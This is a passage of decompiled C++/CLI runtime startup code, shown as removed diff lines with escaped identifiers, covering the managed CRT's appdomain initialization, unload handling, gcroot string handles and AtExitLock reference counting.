\u003CModule\u003E.__xi_z) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u003CModule\u003E.__xi_z) - goto label_5; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u003CModule\u003E.__xc_a; - if (ref \u003CModule\u003E.__xc_a < ref \u003CModule\u003E.__xc_z) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u003CModule\u003E.__xc_z) - goto label_9; - } - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) -1; - return true; - } -label_9: - \u003CModule\u003E.\u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A = (TriBool.State) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasPerProcess() && !\u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA || \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EHasNative() && !\u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA && \u003CModule\u003E.__native_startup_state == (__enative_startup_state) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsUninitialization() => \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = false; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - internal static void \u003FA0xaf140350\u002E\u003F\u003F__E\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 0; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xi_vt_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xi_vt_z); - \u003CModule\u003E.\u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002EInitialize(); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during native initialization.\n"); - \u003CModule\u003E.__security_init_cookie(); - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ENativeDll\u002EIsSafeForManagedCode()) - \u003CModule\u003E._amsg_exit(33); - switch (\u003CModule\u003E.__native_startup_state) - { - case (__enative_startup_state) 0: - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 1; - if (\u003CModule\u003E._initterm_e((__FnPtr*) &\u003CModule\u003E.__xi_a, (__FnPtr*) &\u003CModule\u003E.__xi_z) != 0) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0)); - \u003CModule\u003E._initterm((__FnPtr*) &\u003CModule\u003E.__xc_a, (__FnPtr*) &\u003CModule\u003E.__xc_z); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 2; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - break; - case (__enative_startup_state) 1: - \u003CModule\u003E._amsg_exit(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during process initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_m(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_app_domain(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_ma_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_ma_z); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer(new EventHandler(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - void* fiberPtrId = \u003CModule\u003E._getFiberPtrId(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) fiberPtrId; - // ISSUE: cast to a reference type - void* voidPtr = (void*) Interlocked.CompareExchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num3, comparand); - if ((IntPtr) voidPtr == IntPtr.Zero) - num2 = 1; - else if (voidPtr == fiberPtrId) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u003CModule\u003E.Sleep(1000U); - } - if (!\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization()) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num4); - } - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables(obj0); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative(obj0); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess(obj0); - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain(obj0); - \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 1; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer(obj0); - } - - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain() => \u003CModule\u003E._app_exit_callback(); - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain( - void* cookie) - { - \u003CModule\u003E._exit_callback(); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - if (\u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - { - \u003CModule\u003E._cexit(); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 0; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - } - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - return 0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain() - { - if (!\u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [PrePrepareMethod] - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload( - object source, - EventArgs arguments) - { - if (\u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA == 0 || Interlocked.Exchange(ref \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0 ? 1 : 0; - \u003CModule\u003E._app_exit_callback(); - if ((byte) num == (byte) 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup( - [In] LanguageSupport* obj0, - Exception innerException) - { - try - { - bool flag = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain(); - if (!flag) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - catch (Exception ex) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, ex); - } - catch - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize( - [In] LanguageSupport* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA); - flag = true; - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize(obj0); - } - catch (Exception ex) - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, ex); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), ex); - } - catch - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, (Exception) null); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u003CModule\u003E() - { - LanguageSupport languageSupport; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D(&languageSupport); - // ISSUE: fault handler - try - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize(&languageSupport); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u003CModule\u003E.___CxxCallUnwindDtor((__FnPtr) __methodptr(\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D), (void*) &languageSupport); - } - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) &languageSupport); - } - - internal static unsafe LanguageSupport* \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - return obj0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0, - string t) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) t; - return obj0; - } - - internal static unsafe string gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - return (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle() => (IntPtr) \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA != IntPtr.Zero ? (ValueType) GCHandle.FromIntPtr(new IntPtr(\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA)) : (ValueType) null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Construct( - object value) - { - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set(value); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set( - object value) - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - if (valueType == null) - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = GCHandle.ToIntPtr(GCHandle.Alloc(value)).ToPointer(); - else - ((GCHandle) valueType).Target = value; - } - - [DebuggerStepThrough] - internal static object \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get() - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct() - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get() != null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EAddRef() - { - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - object obj = new object(); - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set(obj); - \u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA = 0; - } - ++\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - } - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002ERemoveRef() - { - --\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - if (\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA != 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct(); - } - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EEnter() => Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EExit() => Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__global_lock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__global_unlock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__alloc_global_lock() - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EAddRef(); - return \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized(); - } - - [DebuggerStepThrough] - internal static void \u003FA0x9b698f77\u002E__dealloc_global_lock() - { - --\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - if (\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA != 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct(); - } - - internal static unsafe int _atexit_helper( - __FnPtr func, - uint* __pexit_list_size, - __FnPtr** __ponexitend, - 